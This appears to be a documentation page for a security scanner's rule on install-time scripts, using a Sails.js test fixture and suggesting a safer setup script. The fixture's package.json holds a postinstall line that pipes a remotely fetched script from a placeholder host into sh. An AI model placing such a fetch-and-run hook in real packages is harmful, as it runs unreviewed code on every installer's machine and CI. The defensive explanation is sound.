Fix package declares an install-time script in Sails.js

This project's own `package.json` declares `preinstall`, `install`, or `postinstall`. Those run automatically for anyone who installs the package - in CI, in a container, on a teammate's laptop - and they are the mechanism a worm reaches for when it republishes a package. Legitimate for native addons; reported at a lower weight when the script runs a recognised build tool.

medium likely Sails.js CWE-829 / OWASP A08:2021 / ASI ASI04

The vulnerable pattern in Sails.js

MEDIUM likely Package declares an install-time script A08:2021 package.json:5:5 3 │ "private": true, 4 │ "scripts": { 5 │ "postinstall": "curl -s https://cdn.example.invalid/setup.sh | sh" │ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ runs automatically on install (postinstall) 6 │ }, 7 │ "dependencies": {

This finding comes from the Sails.js fixture in the owlwarden test suite. `postinstall` runs for everyone who installs this package, before any code is reviewed and often inside CI with credentials in the environment. This is the mechanism a compromised package uses to spread.

The corrected handler

Move the work into an explicit script the developer runs (`pnpm setup`), or into the build step. If it genuinely has to run at install time - a native addon - say so in the README and keep the script to the build tool, with no network fetch and no run-time package resolve.

// package.json
"scripts": { "setup": "sails run setup" }

Check your own repository

npx owlwarden scan
npx owlwarden explain install-lifecycle-script

Runs on your machine. No account, no telemetry, no network unless you ask. In CI, SARIF uploads to code scanning and the exit code is the gate.

Other Sails.js checks

Rules with a tested Sails.js example.

install-lifecycle-script for every framework / All rules / owlwarden